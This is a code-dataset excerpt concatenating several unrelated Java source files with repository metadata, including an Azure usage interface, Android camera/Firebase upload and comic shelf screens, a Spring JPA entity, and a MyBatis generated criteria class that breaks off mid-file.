] | 1 | 2022-01-31T19:22:33.000Z | 2022-01-31T19:22:33.000Z | 36.387097 | 109 | 0.771277 | 6,118 | /**
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for
* license information.
*
* Code generated by Microsoft (R) AutoRest Code Generator.
*/
package com.microsoft.azure.management.commerce.v2015_06_01_preview;
import rx.Observable;
import org.joda.time.DateTime;
import com.microsoft.azure.management.commerce.v2015_06_01_preview.implementation.UsageAggregatesInner;
import com.microsoft.azure.arm.model.HasInner;
/**
* Type representing UsageAggregates.
*/
public interface UsageAggregates extends HasInner<UsageAggregatesInner> {
/**
* Query aggregated Azure subscription consumption data for a date range.
*
* @param reportedStartTime The start of the time range to retrieve data for.
* @param reportedEndTime The end of the time range to retrieve data for.
* @throws IllegalArgumentException thrown if parameters fail the validation
* @return the observable for the request
*/
Observable<UsageAggregation> listAsync(final DateTime reportedStartTime, final DateTime reportedEndTime);
}
|
3e0e6c00713feb2b4ff93243bc6adfd6b7ce7ecb | 3,249 | java | Java | app/src/main/java/com/qc/common/ui/fragment/ShelfFragment.java | LC184722/MyComic | b5c24c36545c6b9688183f3d514beb7054b1f9f2 | [
"Unlicense"
] | 4 | 2021-07-01T10:26:06.000Z | 2022-02-14T11:07:31.000Z | app/src/main/java/com/qc/common/ui/fragment/ShelfFragment.java | LC184722/MyComic | b5c24c36545c6b9688183f3d514beb7054b1f9f2 | [
"Unlicense"
] | null | null | null | app/src/main/java/com/qc/common/ui/fragment/ShelfFragment.java | LC184722/MyComic | b5c24c36545c6b9688183f3d514beb7054b1f9f2 | [
"Unlicense"
] | 1 | 2021-07-01T10:26:07.000Z | 2021-07-01T10:26:07.000Z | 29.807339 | 113 | 0.642967 | 6,119 | package com.qc.common.ui.fragment;
import android.view.Gravity;
import android.view.View;
import com.qc.common.constant.Constant;
import com.qc.common.constant.TmpData;
import com.qc.common.self.CommonData;
import com.qc.mycomic.R;
import com.qmuiteam.qmui.alpha.QMUIAlphaImageButton;
import com.qmuiteam.qmui.qqface.QMUIQQFaceView;
import com.qmuiteam.qmui.util.QMUIColorHelper;
import com.qmuiteam.qmui.widget.popup.QMUIPopup;
import java.util.ArrayList;
import the.one.base.ui.fragment.BaseFragment;
import the.one.base.ui.fragment.BaseTitleTabFragment;
import the.one.base.util.QMUIPopupUtil;
/**
* @author LuQiChuang
* @desc
* @date 2021/6/9 16:26
* @ver 1.0
*/
public class ShelfFragment extends BaseTitleTabFragment {
private QMUIQQFaceView mTitle;
private QMUIAlphaImageButton mSettingIcon;
private QMUIPopup mSettingPopup;
@Override
protected boolean isAdjustMode() {
return true;
}
@Override
protected boolean showElevation() {
return true;
}
@Override
protected boolean isFoldTitleBar() {
return true;
}
@Override
protected void onScrollChanged(float percent) {
mTitle.setTextColor(QMUIColorHelper.setColorAlpha(getColorr(R.color.qmui_config_color_gray_1), percent));
mSettingIcon.setAlpha(percent);
}
@Override
protected void initView(View rootView) {
super.initView(rootView);
mTitle = mTopLayout.setTitle(CommonData.getTabBars()[0]);
mTopLayout.setNeedChangedWithTheme(false);
mTopLayout.setTitleGravity(Gravity.CENTER);
mTitle.setTextColor(getColorr(R.color.qmui_config_color_gray_1));
mTitle.getPaint().setFakeBoldText(true);
mSettingIcon = mTopLayout.addRightImageButton(R.drawable.ic_baseline_menu_24, R.id.topbar_right_button1);
mSettingIcon.setOnClickListener(v -> {
showSettingPopup();
});
}
private final String[] menus = {
"检查更新",
"筛选" + TmpData.content,
"取消筛选",
"导入" + TmpData.content,
};
private void showSettingPopup() {
if (null == mSettingPopup) {
mSettingPopup = QMUIPopupUtil.createListPop(_mActivity, menus, (adapter, view, position) -> {
ShelfItemFragment fragment = (ShelfItemFragment) fragments.get(INDEX);
if (position == 0) {
fragment.startCheckUpdate();
} else if (position == 1) {
fragment.screen(true);
} else if (position == 2) {
fragment.screen(false);
} else if (position == 3) {
fragment.importMH();
} else if (position == 4) {
}
mSettingPopup.dismiss();
});
}
mSettingPopup.show(mSettingIcon);
}
@Override
protected void addTabs() {
addTab("收藏" + TmpData.content);
addTab("历史" + TmpData.content);
}
@Override
protected void addFragment(ArrayList<BaseFragment> fragments) {
fragments.add(ShelfItemFragment.getInstance(Constant.STATUS_FAV));
fragments.add(ShelfItemFragment.getInstance(Constant.STATUS_HIS));
}
}
|
3e0e6c564dadc3e49e09d1f7eb954fad14f73bab | 686 | java | Java | src/main/java/br/com/zupacademy/neto/casadocodigo/erros/ValidationErrorsOutputDto.java | netomantonio/orange-talents-05-template-casa-do-codigo | 4387bb2f3402bf1aa67670f71f385e7652eb5f62 | [
"Apache-2.0"
] | null | null | null | src/main/java/br/com/zupacademy/neto/casadocodigo/erros/ValidationErrorsOutputDto.java | netomantonio/orange-talents-05-template-casa-do-codigo | 4387bb2f3402bf1aa67670f71f385e7652eb5f62 | [
"Apache-2.0"
] | null | null | null | src/main/java/br/com/zupacademy/neto/casadocodigo/erros/ValidationErrorsOutputDto.java | netomantonio/orange-talents-05-template-casa-do-codigo | 4387bb2f3402bf1aa67670f71f385e7652eb5f62 | [
"Apache-2.0"
] | null | null | null | 25.407407 | 75 | 0.776968 | 6,120 | package br.com.zupacademy.neto.casadocodigo.erros;
import java.util.ArrayList;
import java.util.List;
public class ValidationErrorsOutputDto {
private List<String> globalErrorMessages = new ArrayList<>();
private List<FieldErrorOutputDto> fieldErrors = new ArrayList<>();
public void addError(String message) {
globalErrorMessages.add(message);
}
public void addFieldError(String field, String message) {
FieldErrorOutputDto fieldError = new FieldErrorOutputDto(field, message);
fieldErrors.add(fieldError);
}
public List<String> getGlobalErrorMessages(){
return globalErrorMessages;
}
public List<FieldErrorOutputDto> getErrors(){
return fieldErrors;
}
}
|
3e0e6ca06e91f94a22ca1b46bccd1e040740b50b | 7,945 | java | Java | app/src/main/java/com/retrux/mobdevcam/MainActivity.java | retruxstudio/MobdevCam | bf365cbc11fa0c79adf91afdcef75cc268fba43b | [
"MIT"
] | 1 | 2021-11-24T06:08:07.000Z | 2021-11-24T06:08:07.000Z | app/src/main/java/com/retrux/mobdevcam/MainActivity.java | retruxstudio/MobdevCam | bf365cbc11fa0c79adf91afdcef75cc268fba43b | [
"MIT"
] | null | null | null | app/src/main/java/com/retrux/mobdevcam/MainActivity.java | retruxstudio/MobdevCam | bf365cbc11fa0c79adf91afdcef75cc268fba43b | [
"MIT"
] | null | null | null | 33.808511 | 149 | 0.627439 | 6,121 | package com.retrux.mobdevcam;
import android.Manifest;
import android.app.Activity;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.graphics.drawable.Drawable;
import android.net.Uri;
import android.os.Bundle;
import android.os.Environment;
import android.os.StrictMode;
import android.provider.MediaStore;
import android.util.Log;
import android.view.Gravity;
import android.view.LayoutInflater;
import android.view.View;
import android.widget.Button;
import android.widget.ImageView;
import android.widget.TextView;
import android.widget.Toast;
import androidx.annotation.Nullable;
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.app.ActivityCompat;
import androidx.core.content.ContextCompat;
import androidx.core.content.FileProvider;
import com.airbnb.lottie.LottieAnimationView;
import com.google.firebase.storage.FirebaseStorage;
import com.google.firebase.storage.StorageReference;
import java.io.File;
import java.io.IOException;
import java.text.SimpleDateFormat;
import java.util.Date;
public class MainActivity extends AppCompatActivity {
public static final int CAMERA_REQUEST_CODE = 102;
private final int PICK_IMAGE_REQUEST = 22;
private StorageReference storeRef;
private FirebaseStorage storage;
private StorageReference storageReference;
private String nameString;
private Uri fileURI;
ImageView imageView;
TextView toastMsg, uploadMsg;
Button camBtn, uploadBtn, galleryBtn;
String fileString;
Toast toast;
View layout, lottieLayout;
LottieAnimationView focusAnim;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
LayoutInflater inflater = getLayoutInflater();
layout = inflater.inflate(R.layout.toast_layout, findViewById(R.id.toastLayout));
lottieLayout = inflater.inflate(R.layout.lottie_layout, findViewById(R.id.lottieLayout));
layout.setBackgroundResource(R.drawable.toast_bg);
lottieLayout.setBackgroundResource(R.drawable.toast_bg);
toast = new Toast(getApplicationContext());
toast.setDuration(Toast.LENGTH_SHORT);
toast.setGravity(Gravity.TOP,0,350);
storage= FirebaseStorage.getInstance();
storageReference=storage.getReference();
focusAnim = findViewById(R.id.focusAnimation);
uploadMsg = lottieLayout.findViewById(R.id.uploadMsg);
toastMsg = layout.findViewById(R.id.toastMsg);
imageView = findViewById(R.id.imageView);
camBtn = findViewById(R.id.camBtn);
uploadBtn = findViewById(R.id.uploadBtn);
galleryBtn = findViewById(R.id.galleryBtn);
StrictMode.VmPolicy.Builder builder = new StrictMode.VmPolicy.Builder();
StrictMode.setVmPolicy(builder.build());
if (ContextCompat.checkSelfPermission(MainActivity.this,Manifest.permission.WRITE_EXTERNAL_STORAGE) !=PackageManager.PERMISSION_GRANTED) {
ActivityCompat.requestPermissions(MainActivity.this,
new String[]{
Manifest.permission.WRITE_EXTERNAL_STORAGE, Manifest.permission.CAMERA, Manifest.permission.READ_EXTERNAL_STORAGE}, 10);
}
galleryBtn.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
SelectImage();
}
});
camBtn.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
captureImage();
}
});
uploadBtn.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
uploadFile();
}
});
}
private void SelectImage()
{
Intent intent = new Intent();
String time = new SimpleDateFormat("yyyyMMdd_HHmmss").format(new Date());
nameString = "MobdevCam_" + time + ".jpg";
intent.setType("image/*");
intent.setAction(Intent.ACTION_GET_CONTENT);
startActivityForResult(intent, PICK_IMAGE_REQUEST);
}
private File createImageFile() throws IOException {
String time = new SimpleDateFormat("yyyyMMdd_HHmmss").format(new Date());
nameString = "MobdevCam_" + time;
File storageDir = Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_PICTURES);
File image = File.createTempFile(
nameString, /* prefix */
".jpg", /* suffix */
storageDir /* directory */
);
fileString = image.getAbsolutePath();
return image;
}
private void captureImage() {
Intent cameraIntent = new Intent(MediaStore.ACTION_IMAGE_CAPTURE);
if (cameraIntent.resolveActivity(getPackageManager()) != null) {
// Create the File where the photo should go
File photoFile = null;
try {
photoFile = createImageFile();
} catch (IOException ex) {
Log.e("error", ex.toString());
}
// Continue only if the File was successfully created
if (photoFile != null) {
fileURI = FileProvider.getUriForFile(this,
"com.retrux.mobdevcam.fileprovider",
photoFile);
cameraIntent.putExtra(MediaStore.EXTRA_OUTPUT, fileURI);
startActivityForResult(cameraIntent, CAMERA_REQUEST_CODE);
}
}
}
private void uploadFile() {
if (fileURI != null) {
String type = ".jpg";
if (nameString.contains(".jpg")) {
storeRef = storageReference.child(nameString);
} else {
storeRef = storageReference.child(nameString + ".jpg");
}
toast.setView(lottieLayout);
uploadMsg.setText(R.string.uploaded);
try {
storeRef.putFile(fileURI);
toast.show();
Drawable id = getResources().getDrawable(R.drawable.ic_emptyimage);
imageView.setImageDrawable(id);
fileURI = null;
focusAnim.setVisibility(View.VISIBLE);
} catch (Exception e) {
Toast.makeText(this, e.toString(), Toast.LENGTH_SHORT).show();
}
} else {
toast.setView(layout);
toastMsg.setText(R.string.toastMsg);
toast.show();
}
}
@Override
protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) {
super.onActivityResult(requestCode, resultCode, data);
if(requestCode == CAMERA_REQUEST_CODE){
if(resultCode == Activity.RESULT_OK){
File f = new File(fileString);
imageView.setImageURI(Uri.fromFile(f));
Log.d("tag", "ABsolute Url of Image is " + Uri.fromFile(f));
Intent mediaScanIntent = new Intent(Intent.ACTION_MEDIA_SCANNER_SCAN_FILE);
Uri contentUri = Uri.fromFile(f);
mediaScanIntent.setData(contentUri);
this.sendBroadcast(mediaScanIntent);
focusAnim.setVisibility(View.GONE);
}
}
if (requestCode == PICK_IMAGE_REQUEST
&& resultCode == RESULT_OK
&& data != null
&& data.getData() != null) {
// Get the Uri of data
fileURI = data.getData();
try {
imageView.setImageURI(fileURI);
focusAnim.setVisibility(View.GONE);
} catch (Exception e) {
Toast.makeText(this, e.toString(), Toast.LENGTH_SHORT).show();
}
}
}
} |
3e0e6cc9b5219c8a82d254eb84b5c877f65b0706 | 5,970 | java | Java | src/main/java/com/informatorio2021/proyectoFinal/entity/Emprendimiento.java | brunofnz/java-api | 073de2242620d66bebe80c2601fe0f127fa2d70d | [
"MIT"
] | null | null | null | src/main/java/com/informatorio2021/proyectoFinal/entity/Emprendimiento.java | brunofnz/java-api | 073de2242620d66bebe80c2601fe0f127fa2d70d | [
"MIT"
] | null | null | null | src/main/java/com/informatorio2021/proyectoFinal/entity/Emprendimiento.java | brunofnz/java-api | 073de2242620d66bebe80c2601fe0f127fa2d70d | [
"MIT"
] | null | null | null | 24.771784 | 268 | 0.602345 | 6,122 | package com.informatorio2021.proyectoFinal.entity;
import com.fasterxml.jackson.annotation.JsonBackReference;
import com.fasterxml.jackson.annotation.JsonFormat;
import com.fasterxml.jackson.annotation.JsonProperty;
import org.hibernate.annotations.CreationTimestamp;
import javax.persistence.*;
import javax.validation.constraints.NotBlank;
import java.time.LocalDate;
import java.util.ArrayList;
import java.util.List;
/* Definimos la clase */
@Entity
public class Emprendimiento {
@Id
@GeneratedValue(strategy = GenerationType.IDENTITY)
private Long id;
@NotBlank(message = "El campo Nombre no puede estar vacio")
private String nombre;
@NotBlank(message = "El campo Descripcion no puede estar vacio")
private String descripcion;
private String contenido;
@CreationTimestamp
@JsonFormat(pattern = "yyyy/MM/dd")
private LocalDate creadoEn;
private Double objetivo;
private Boolean publicado;
@JsonProperty(access = JsonProperty.Access.WRITE_ONLY)
private Boolean activo = true;
@JsonBackReference
@ManyToOne(fetch = FetchType.LAZY)
private Usuario owner;
private String url;
@ManyToMany(cascade = {CascadeType.PERSIST, CascadeType.MERGE})
@JoinTable(
name = "emprendimiento_id",
joinColumns = @JoinColumn(name = "emprendimiento_id"),
inverseJoinColumns = @JoinColumn(name = "tag_id"))
private List<Tags> tags = new ArrayList<>();
@JsonProperty(access = JsonProperty.Access.WRITE_ONLY)
@OneToMany(mappedBy = "emprendimientoId", cascade = CascadeType.ALL, orphanRemoval = true)
private List<Voto> votos = new ArrayList<>();
private Integer contadorVotos = 0;
@ManyToMany(cascade = { CascadeType.PERSIST, CascadeType.MERGE })
@JsonProperty(access = JsonProperty.Access.WRITE_ONLY)
private List<Evento> eventos;
/* constructor */
public Emprendimiento(Long id, String nombre, String descripcion, String contenido, LocalDate creadoEn, Double objetivo, Boolean publicado, Boolean activo, Usuario owner, String url, List<Tags> tags, List<Voto> votos, Integer contadorVotos, List<Evento> eventos) {
this.id = id;
this.nombre = nombre;
this.descripcion = descripcion;
this.contenido = contenido;
this.creadoEn = creadoEn;
this.objetivo = objetivo;
this.publicado = publicado;
this.activo = activo;
this.owner = owner;
this.url = url;
this.tags = tags;
this.votos = votos;
this.contadorVotos = contadorVotos;
this.eventos = eventos;
}
public Emprendimiento() {
}
/* getters y setters */
public Long getId() {
return id;
}
public void setId(Long id) {
this.id = id;
}
public String getNombre() {
return nombre;
}
public void setNombre(String nombre) {
this.nombre = nombre;
}
public String getDescripcion() {
return descripcion;
}
public void setDescripcion(String descripcion) {
this.descripcion = descripcion;
}
public String getContenido() {
return contenido;
}
public void setContenido(String contenido) {
this.contenido = contenido;
}
public LocalDate getCreadoEn() {
return creadoEn;
}
public void setCreadoEn(LocalDate creadoEn) {
this.creadoEn = creadoEn;
}
public Double getObjetivo() {
return objetivo;
}
public void setObjetivo(Double objetivo) {
this.objetivo = objetivo;
}
public Boolean getPublicado() {
return publicado;
}
public void setPublicado(Boolean publicado) {
this.publicado = publicado;
}
public Boolean getActivo() {
return activo;
}
public void setActivo(Boolean activo) {
this.activo = activo;
}
public Usuario getOwner() {
return owner;
}
public void setOwner(Usuario owner) {
this.owner = owner;
}
public String getUrl() {
return url;
}
public void setUrl(String url) {
this.url = url;
}
public void setTags(List<Tags> tags) {
this.tags = tags;
}
public List<Voto> getVotos() {
return votos;
}
public void setVotos(List<Voto> votos) {
this.votos = votos;
}
public Integer getContadorVotos() {
return contadorVotos;
}
public void setContadorVotos(Integer contadorVotos) {
this.contadorVotos = contadorVotos;
}
public List<Evento> getEventos() {
return eventos;
}
public void setEventos(List<Evento> eventos) {
this.eventos = eventos;
}
/* metodos de la clase*/
public void agregarTag(Tags tag){
tags.add(tag);
tag.getEmprendimientos().add(this);
}
public void removerTag(Tags tag) {
tags.remove(tag);
tag.getEmprendimientos().remove(null);
}
public List<Tags> getTags() {
return tags;
}
public void agregarEvento(Evento evento) {
if (this.eventos == null) {
this.eventos = new ArrayList<>();
}
this.eventos.add(evento);
}
/* to string */
@Override
public String toString() {
return "Emprendimiento{" +
"id=" + id +
", nombre='" + nombre + '\'' +
", descripcion='" + descripcion + '\'' +
", contenido='" + contenido + '\'' +
", creadoEn=" + creadoEn +
", objetivo=" + objetivo +
", publicado=" + publicado +
", activo=" + activo +
", owner=" + owner +
", url='" + url + '\'' +
", tags=" + tags +
", votos=" + votos +
", contadorVotos=" + contadorVotos +
", eventos=" + eventos +
'}';
}
}
|
3e0e6ccc1e7e15dd2aa062a69608642d6babed65 | 20,336 | java | Java | src/main/java/com/mult/model/SeckillExample.java | 525340603/mult | 0e00d9d4e264f2aadd296e8baf40cd80586a0194 | [
"Apache-2.0"
] | 2 | 2018-08-08T03:25:05.000Z | 2019-12-02T06:19:33.000Z | src/main/java/com/mult/model/SeckillExample.java | 525340603/mult | 0e00d9d4e264f2aadd296e8baf40cd80586a0194 | [
"Apache-2.0"
] | null | null | null | src/main/java/com/mult/model/SeckillExample.java | 525340603/mult | 0e00d9d4e264f2aadd296e8baf40cd80586a0194 | [
"Apache-2.0"
] | null | null | null | 30.216939 | 102 | 0.58153 | 6,123 | package com.mult.model;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;
public class SeckillExample {
/**
* This field was generated by MyBatis Generator.
* This field corresponds to the database table seckill
*
* @mbggenerated
*/
protected String orderByClause;
/**
* This field was generated by MyBatis Generator.
* This field corresponds to the database table seckill
*
* @mbggenerated
*/
protected boolean distinct;
/**
* This field was generated by MyBatis Generator.
* This field corresponds to the database table seckill
*
* @mbggenerated
*/
protected List<Criteria> oredCriteria;
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table seckill
*
* @mbggenerated
*/
public SeckillExample() {
oredCriteria = new ArrayList<Criteria>();
}
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table seckill
*
* @mbggenerated
*/
public void setOrderByClause(String orderByClause) {
this.orderByClause = orderByClause;
}
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table seckill
*
* @mbggenerated
*/
public String getOrderByClause() {
return orderByClause;
}
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table seckill
*
* @mbggenerated
*/
public void setDistinct(boolean distinct) {
this.distinct = distinct;
}
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table seckill
*
* @mbggenerated
*/
public boolean isDistinct() {
return distinct;
}
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table seckill
*
* @mbggenerated
*/
public List<Criteria> getOredCriteria() {
return oredCriteria;
}
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table seckill
*
* @mbggenerated
*/
public void or(Criteria criteria) {
oredCriteria.add(criteria);
}
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table seckill
*
* @mbggenerated
*/
public Criteria or() {
Criteria criteria = createCriteriaInternal();
oredCriteria.add(criteria);
return criteria;
}
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table seckill
*
* @mbggenerated
*/
public Criteria createCriteria() {
Criteria criteria = createCriteriaInternal();
if (oredCriteria.size() == 0) {
oredCriteria.add(criteria);
}
return criteria;
}
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table seckill
*
* @mbggenerated
*/
protected Criteria createCriteriaInternal() {
Criteria criteria = new Criteria();
return criteria;
}
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table seckill
*
* @mbggenerated
*/
public void clear() {
oredCriteria.clear();
orderByClause = null;
distinct = false;
}
/**
* This class was generated by MyBatis Generator.
* This class corresponds to the database table seckill
*
* @mbggenerated
*/
protected abstract static class GeneratedCriteria {
protected List<Criterion> criteria;
protected GeneratedCriteria() {
super();
criteria = new ArrayList<Criterion>();
}
public boolean isValid() {
return criteria.size() > 0;
}
public List<Criterion> getAllCriteria() {
return criteria;
}
public List<Criterion> getCriteria() {
return criteria;
}
protected void addCriterion(String condition) {
if (condition == null) {
throw new RuntimeException("Value for condition cannot be null");
}
criteria.add(new Criterion(condition));
}
protected void addCriterion(String condition, Object value, String property) {
if (value == null) {
throw new RuntimeException("Value for " + property + " cannot be null");
}
criteria.add(new Criterion(condition, value));
}
protected void addCriterion(String condition, Object value1, Object value2, String property) {
if (value1 == null || value2 == null) {
throw new RuntimeException("Between values for " + property + " cannot be null");
}
criteria.add(new Criterion(condition, value1, value2));
}
public Criteria andSeckillIdIsNull() {
addCriterion("seckill_id is null");
return (Criteria) this;
}
public Criteria andSeckillIdIsNotNull() {
addCriterion("seckill_id is not null");
return (Criteria) this;
}
public Criteria andSeckillIdEqualTo(Long value) {
addCriterion("seckill_id =", value, "seckillId");
return (Criteria) this;
}
public Criteria andSeckillIdNotEqualTo(Long value) {
addCriterion("seckill_id <>", value, "seckillId");
return (Criteria) this;
}
public Criteria andSeckillIdGreaterThan(Long value) {
addCriterion("seckill_id >", value, "seckillId");
return (Criteria) this;
}
public Criteria andSeckillIdGreaterThanOrEqualTo(Long value) {
addCriterion("seckill_id >=", value, "seckillId");
return (Criteria) this;
}
public Criteria andSeckillIdLessThan(Long value) {
addCriterion("seckill_id <", value, "seckillId");
return (Criteria) this;
}
public Criteria andSeckillIdLessThanOrEqualTo(Long value) {
addCriterion("seckill_id <=", value, "seckillId");
return (Criteria) this;
}
public Criteria andSeckillIdIn(List<Long> values) {
addCriterion("seckill_id in", values, "seckillId");
return (Criteria) this;
}
public Criteria andSeckillIdNotIn(List<Long> values) {
addCriterion("seckill_id not in", values, "seckillId");
return (Criteria) this;
}
public Criteria andSeckillIdBetween(Long value1, Long value2) {
addCriterion("seckill_id between", value1, value2, "seckillId");
return (Criteria) this;
}
public Criteria andSeckillIdNotBetween(Long value1, Long value2) {
addCriterion("seckill_id not between", value1, value2, "seckillId");
return (Criteria) this;
}
public Criteria andNameIsNull() {
addCriterion("name is null");
return (Criteria) this;
}
public Criteria andNameIsNotNull() {
addCriterion("name is not null");
return (Criteria) this;
}
public Criteria andNameEqualTo(String value) {
addCriterion("name =", value, "name");
return (Criteria) this;
}
public Criteria andNameNotEqualTo(String value) {
addCriterion("name <>", value, "name");
return (Criteria) this;
}
public Criteria andNameGreaterThan(String value) {
addCriterion("name >", value, "name");
return (Criteria) this;
}
public Criteria andNameGreaterThanOrEqualTo(String value) {
addCriterion("name >=", value, "name");
return (Criteria) this;
}
public Criteria andNameLessThan(String value) {
addCriterion("name <", value, "name");
return (Criteria) this;
}
public Criteria andNameLessThanOrEqualTo(String value) {
addCriterion("name <=", value, "name");
return (Criteria) this;
}
public Criteria andNameLike(String value) {
addCriterion("name like", value, "name");
return (Criteria) this;
}
public Criteria andNameNotLike(String value) {
addCriterion("name not like", value, "name");
return (Criteria) this;
}
public Criteria andNameIn(List<String> values) {
addCriterion("name in", values, "name");
return (Criteria) this;
}
public Criteria andNameNotIn(List<String> values) {
addCriterion("name not in", values, "name");
return (Criteria) this;
}
public Criteria andNameBetween(String value1, String value2) {
addCriterion("name between", value1, value2, "name");
return (Criteria) this;
}
public Criteria andNameNotBetween(String value1, String value2) {
addCriterion("name not between", value1, value2, "name");
return (Criteria) this;
}
public Criteria andNumberIsNull() {
addCriterion("number is null");
return (Criteria) this;
}
public Criteria andNumberIsNotNull() {
addCriterion("number is not null");
return (Criteria) this;
}
public Criteria andNumberEqualTo(Integer value) {
addCriterion("number =", value, "number");
return (Criteria) this;
}
public Criteria andNumberNotEqualTo(Integer value) {
addCriterion("number <>", value, "number");
return (Criteria) this;
}
public Criteria andNumberGreaterThan(Integer value) {
addCriterion("number >", value, "number");
return (Criteria) this;
}
public Criteria andNumberGreaterThanOrEqualTo(Integer value) {
addCriterion("number >=", value, "number");
return (Criteria) this;
}
public Criteria andNumberLessThan(Integer value) {
addCriterion("number <", value, "number");
return (Criteria) this;
}
public Criteria andNumberLessThanOrEqualTo(Integer value) {
addCriterion("number <=", value, "number");
return (Criteria) this;
}
public Criteria andNumberIn(List<Integer> values) {
addCriterion("number in", values, "number");
return (Criteria) this;
}
public Criteria andNumberNotIn(List<Integer> values) {
addCriterion("number not in", values, "number");
return (Criteria) this;
}
public Criteria andNumberBetween(Integer value1, Integer value2) {
addCriterion("number between", value1, value2, "number");
return (Criteria) this;
}
public Criteria andNumberNotBetween(Integer value1, Integer value2) {
addCriterion("number not between", value1, value2, "number");
return (Criteria) this;
}
public Criteria andCreateTimeIsNull() {
addCriterion("create_time is null");
return (Criteria) this;
}
public Criteria andCreateTimeIsNotNull() {
addCriterion("create_time is not null");
return (Criteria) this;
}
public Criteria andCreateTimeEqualTo(Date value) {
addCriterion("create_time =", value, "createTime");
return (Criteria) this;
}
public Criteria andCreateTimeNotEqualTo(Date value) {
addCriterion("create_time <>", value, "createTime");
return (Criteria) this;
}
public Criteria andCreateTimeGreaterThan(Date value) {
addCriterion("create_time >", value, "createTime");
return (Criteria) this;
}
public Criteria andCreateTimeGreaterThanOrEqualTo(Date value) {
addCriterion("create_time >=", value, "createTime");
return (Criteria) this;
}
public Criteria andCreateTimeLessThan(Date value) {
addCriterion("create_time <", value, "createTime");
return (Criteria) this;
}
public Criteria andCreateTimeLessThanOrEqualTo(Date value) {
addCriterion("create_time <=", value, "createTime");
return (Criteria) this;
}
public Criteria andCreateTimeIn(List<Date> values) {
addCriterion("create_time in", values, "createTime");
return (Criteria) this;
}
public Criteria andCreateTimeNotIn(List<Date> values) {
addCriterion("create_time not in", values, "createTime");
return (Criteria) this;
}
public Criteria andCreateTimeBetween(Date value1, Date value2) {
addCriterion("create_time between", value1, value2, "createTime");
return (Criteria) this;
}
public Criteria andCreateTimeNotBetween(Date value1, Date value2) {
addCriterion("create_time not between", value1, value2, "createTime");
return (Criteria) this;
}
public Criteria andStartTimeIsNull() {
addCriterion("start_time is null");
return (Criteria) this;
}
public Criteria andStartTimeIsNotNull() {
addCriterion("start_time is not null");
return (Criteria) this;
}
public Criteria andStartTimeEqualTo(Date value) {
addCriterion("start_time =", value, "startTime");
return (Criteria) this;
}
public Criteria andStartTimeNotEqualTo(Date value) {
addCriterion("start_time <>", value, "startTime");
return (Criteria) this;
}
public Criteria andStartTimeGreaterThan(Date value) {
addCriterion("start_time >", value, "startTime");
return (Criteria) this;
}
public Criteria andStartTimeGreaterThanOrEqualTo(Date value) {
addCriterion("start_time >=", value, "startTime");
return (Criteria) this;
}
public Criteria andStartTimeLessThan(Date value) {
addCriterion("start_time <", value, "startTime");
return (Criteria) this;
}
public Criteria andStartTimeLessThanOrEqualTo(Date value) {
addCriterion("start_time <=", value, "startTime");
return (Criteria) this;
}
public Criteria andStartTimeIn(List<Date> values) {
addCriterion("start_time in", values, "startTime");
return (Criteria) this;
}
public Criteria andStartTimeNotIn(List<Date> values) {
addCriterion("start_time not in", values, "startTime");
return (Criteria) this;
}
public Criteria andStartTimeBetween(Date value1, Date value2) {
addCriterion("start_time between", value1, value2, "startTime");
return (Criteria) this;
}
public Criteria andStartTimeNotBetween(Date value1, Date value2) {
addCriterion("start_time not between", value1, value2, "startTime");
return (Criteria) this;
}
public Criteria andEndTimeIsNull() {
addCriterion("end_time is null");
return (Criteria) this;
}
public Criteria andEndTimeIsNotNull() {
addCriterion("end_time is not null");
return (Criteria) this;
}
public Criteria andEndTimeEqualTo(Date value) {
addCriterion("end_time =", value, "endTime");
return (Criteria) this;
}
public Criteria andEndTimeNotEqualTo(Date value) {
addCriterion("end_time <>", value, "endTime");
return (Criteria) this;
}
public Criteria andEndTimeGreaterThan(Date value) {
addCriterion("end_time >", value, "endTime");
return (Criteria) this;
}
public Criteria andEndTimeGreaterThanOrEqualTo(Date value) {
addCriterion("end_time >=", value, "endTime");
return (Criteria) this;
}
public Criteria andEndTimeLessThan(Date value) {
addCriterion("end_time <", value, "endTime");
return (Criteria) this;
}
public Criteria andEndTimeLessThanOrEqualTo(Date value) {
addCriterion("end_time <=", value, "endTime");
return (Criteria) this;
}
public Criteria andEndTimeIn(List<Date> values) {
addCriterion("end_time in", values, "endTime");
return (Criteria) this;
}
public Criteria andEndTimeNotIn(List<Date> values) {
addCriterion("end_time not in", values, "endTime");
return (Criteria) this;
}
public Criteria andEndTimeBetween(Date value1, Date value2) {
addCriterion("end_time between", value1, value2, "endTime");
return (Criteria) this;
}
public Criteria andEndTimeNotBetween(Date value1, Date value2) {
addCriterion("end_time not between", value1, value2, "endTime");
return (Criteria) this;
}
}
/**
* This class was generated by MyBatis Generator.
* This class corresponds to the database table seckill
*
* @mbggenerated do_not_delete_during_merge
*/
public static class Criteria extends GeneratedCriteria {
protected Criteria() {
super();
}
}
/**
* This class was generated by MyBatis Generator.
* This class corresponds to the database table seckill
*
* @mbggenerated
*/
public static class Criterion {
private String condition;
private Object value;
private Object secondValue;
private boolean noValue;
private boolean singleValue;
private boolean betweenValue;
private boolean listValue;
private String typeHandler;
public String getCondition() {
return condition;
}
public Object getValue() {
return value;
}
public Object getSecondValue() {
return secondValue;
}
public boolean isNoValue() {
return noValue;
}
public boolean isSingleValue() {
return singleValue;
}
public boolean isBetweenValue() {
return betweenValue;
}
public boolean isListValue() {
return listValue;
}
public String getTypeHandler() {
